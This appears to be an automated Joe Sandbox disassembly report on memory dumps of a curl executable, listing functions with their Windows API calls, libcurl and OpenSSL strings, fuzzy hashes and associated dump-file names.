bind(port=%hu) failed: %s, xrefs: 009ACCBA
bind(port=%hu) on non-local address failed: %s, xrefs: 009ACBEF
socket failure: %s, xrefs: 009ACB5E
,%d,%d, xrefs: 009ACE8C

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast$getsockname$closesocket$bindhtonslisten
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$getsockname() failed: %s$getsockname() failed: %s$socket failure: %s$socket failure: %s
API String ID: 1927503704-1848652120
Opcode ID: 59dcf90f2abd4e45b136579ed0541ad5a14d94d2b900a7370b5e89df791b0753
Instruction ID: a7df3d7a682cd7ee42f1f9affe0979e1031a5ac4dec9e48b9e03b920b56feb0b
Opcode Fuzzy Hash: 59dcf90f2abd4e45b136579ed0541ad5a14d94d2b900a7370b5e89df791b0753
Instruction Fuzzy Hash: 191207B06083459FCB20EF248845B7BB7E9AFD6704F14491DF8869B282EB79D905C7D2

Function 00A80FB6 Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 171libraryloaderCOMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00B17940,00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A80FDE
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000800,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81004
GetLastError.KERNEL32(?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81010
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81026
GetProcAddress.KERNEL32(00000000,MessageBoxW), ref: 00A8103C
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A8104B
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00A81058
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A8105F
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00A8106C
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81073
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationW), ref: 00A81080
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81087
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00A81098
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A8109F
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A810A9
OutputDebugStringW.KERNEL32(?,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A810BB
DecodePointer.KERNEL32(?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A810D9
DecodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A810FB
DecodePointer.KERNEL32(?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81106
DecodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A8114B
DecodePointer.KERNEL32(00000000,?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81163
DecodePointer.KERNEL32(?,?,?,?,?,00A7B6B9,00B17940,Microsoft Visual C++ Runtime Library,00012010), ref: 00A81177

Strings

USER32.DLL, xrefs: 00A80FFF, 00A81021
MessageBoxW, xrefs: 00A81036
GetUserObjectInformationW, xrefs: 00A81075
GetProcessWindowStation, xrefs: 00A81092
GetActiveWindow, xrefs: 00A8104D
GetLastActivePopup, xrefs: 00A81061

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Pointer$DecodeEncode$AddressProc$LibraryLoad$DebugDebuggerErrorLastOutputPresentString
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 3166169540-564504941
Opcode ID: 3350a55aaf9a05a45dafe4ce5e6f2d23452d035b5e0b536c1cb01b0c02be4883
Instruction ID: a484f0128515f14cfad038e933127779163d01b55d63b9a465b2e64bd92ecb22
Opcode Fuzzy Hash: 3350a55aaf9a05a45dafe4ce5e6f2d23452d035b5e0b536c1cb01b0c02be4883
Instruction Fuzzy Hash: 1E514D71A00206ABCB20EBB5DC8CAAEBBBDBF49710B544619E605E3190DF34D953CB65

Function 009C6250 Relevance: 35.9, Strings: 28, Instructions: 908COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6C8F
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6C1D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C659C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6B77
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6BDC
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C645D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6E89
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6629
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6507
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6661
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6A49
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C667C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C66DB
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C688E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C636C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6A09
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6421
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6867
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6BB7
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6DB0
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C68B7
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C66A4
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6901
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C63E4
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6732
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6D52
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C647E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009C6C68

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c
API String ID: 0-2123905283
Opcode ID: ebb0935531c6f1ad7c4d395c395e964ebc0113da2e25b633d0fccd39327e57cd
Instruction ID: 53e272a07784cab0c64bd35c792cd1aada8176609e5f2f927eb7fa1f65f022ae
Opcode Fuzzy Hash: ebb0935531c6f1ad7c4d395c395e964ebc0113da2e25b633d0fccd39327e57cd
Instruction Fuzzy Hash: 8F62AD70B44301AFE714DF28C892F6AB7A5AB84704F04896CF64A9B3D2DB75ED05C792

Function 0098D110 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 302networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 0098D350
htons.WS2_32(?), ref: 0098D39E
bind.WS2_32(?,?,00000010), ref: 0098D406
htons.WS2_32(?), ref: 0098D433
bind.WS2_32(?,?,?), ref: 0098D447
getsockname.WS2_32(?,?,?), ref: 0098D481
WSAGetLastError.WS2_32(?,?,00000080,?,00000000,?), ref: 0098D48B

Strings

Local port: %hu, xrefs: 0098D4EF
bind failed with errno %d: %s, xrefs: 0098D4D6
Couldn't bind to interface '%s', xrefs: 0098D1FC
Couldn't bind to '%s', xrefs: 0098D3B5
Name '%s' family %i resolved to '%s' family %i, xrefs: 0098D2F0
getsockname() failed with errno %d: %s, xrefs: 0098D4A6
if!, xrefs: 0098D1BA, 0098D1CE, 0098D1D0, 0098D1E1
Bind to local port %hu failed, trying next, xrefs: 0098D423
host!, xrefs: 0098D214, 0098D229, 0098D22B, 0098D23C

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: htons$bind$ErrorLastgetsockname
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$host!$if!
API String ID: 3628919538-3110688763
Opcode ID: ca7fe1f706db37f56a50589342ecd2d2e0c23cc7526029ce079b6fe978400bb9
Instruction ID: 04be5b7f6c5f2daaaf702bcd5d4be27a60976cf5ee3f2c9545a6b52ebc2ba58e
Opcode Fuzzy Hash: ca7fe1f706db37f56a50589342ecd2d2e0c23cc7526029ce079b6fe978400bb9
Instruction Fuzzy Hash: F5B1D475609341AFDB10EF24D845BAB77E8EFC5704F04892DF88997382E671DA058B92

Function 00A15490 Relevance: 29.7, Strings: 23, Instructions: 927COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A159C4
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A1561C
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15A88
..\..\openssl\openssl\crypto\ec\ec_lib.c, xrefs: 00A15FC4
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A155B4
..\..\openssl\openssl\crypto\ec\ec_lib.c, xrefs: 00A16016
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A1558D
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A1594C
..\..\openssl\openssl\crypto\ec\ec_lib.c, xrefs: 00A15F9D
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A154F3
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15641
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15C67
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15D28
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15A46
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A16045
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15670
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A158C1
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15A5C
..\..\openssl\openssl\crypto\ec\ec_lib.c, xrefs: 00A15FFB
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A158A4
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15C93
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A15791
..\..\openssl\openssl\crypto\ec\ec_mult.c, xrefs: 00A1565C

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\ec\ec_lib.c$..\..\openssl\openssl\crypto\ec\ec_lib.c$..\..\openssl\openssl\crypto\ec\ec_lib.c$..\..\openssl\openssl\crypto\ec\ec_lib.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c$..\..\openssl\openssl\crypto\ec\ec_mult.c
API String ID: 0-2754823925
Opcode ID: b7b37b8e969fadb125283189bd9373b43c611e11bd008c25068b658a0d8880d9
Instruction ID: 054223cbd29f16e8f42c4a03854e448565faa5b2cc9b17c855c0f4d849aaaa46
Opcode Fuzzy Hash: b7b37b8e969fadb125283189bd9373b43c611e11bd008c25068b658a0d8880d9
Instruction Fuzzy Hash: 66726A70A08741DFD724CF65C881BAAB7E2ABC4740F14492DF9869B391DB71ED85CB82

Function 00A7CD06 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 337timeCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,?,?), ref: 00A7CDC1
GetDriveTypeW.KERNEL32(00000000), ref: 00A7CE28
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 00A7CF5A
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A7CF72
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 00A7CFEE
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A7D006
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 00A7D082
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A7D09A
FindClose.KERNEL32(00000000), ref: 00A7D0E9
GetLastError.KERNEL32 ref: 00A7D138
FindClose.KERNEL32(00000000), ref: 00A7D149
GetLastError.KERNEL32 ref: 00A7D153
FindClose.KERNEL32(00000000), ref: 00A7D161

Strings

./\, xrefs: 00A7CDD9

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Time$System$FileFind$CloseLocalSpecific$ErrorLast$DriveFirstType
String ID: ./\
API String ID: 495382059-3176372042
Opcode ID: 116654b0b01c9ee1ee8c53d0d2c8e42750688a12d137b14e57de0b656a0e1625
Instruction ID: fa7e42ea9ab16ca79c6f03affa2ac977e7499c596a7b191e3d513b52786cead6
Opcode Fuzzy Hash: 116654b0b01c9ee1ee8c53d0d2c8e42750688a12d137b14e57de0b656a0e1625
Instruction Fuzzy Hash: 51C16EB19042289EDB30DF64CD48BBAB7F8BF08721F1086ADF64DD2191E7749985CB25

Function 009E6650 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 455COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6B70
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009E6BE0
...................., xrefs: 009E67CF
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6BA2
You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html, xrefs: 009E6BB4
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6865
gfff, xrefs: 009E6690
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E66E1
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E66C5
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6AF1
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 009E6735
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009E6BD6

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
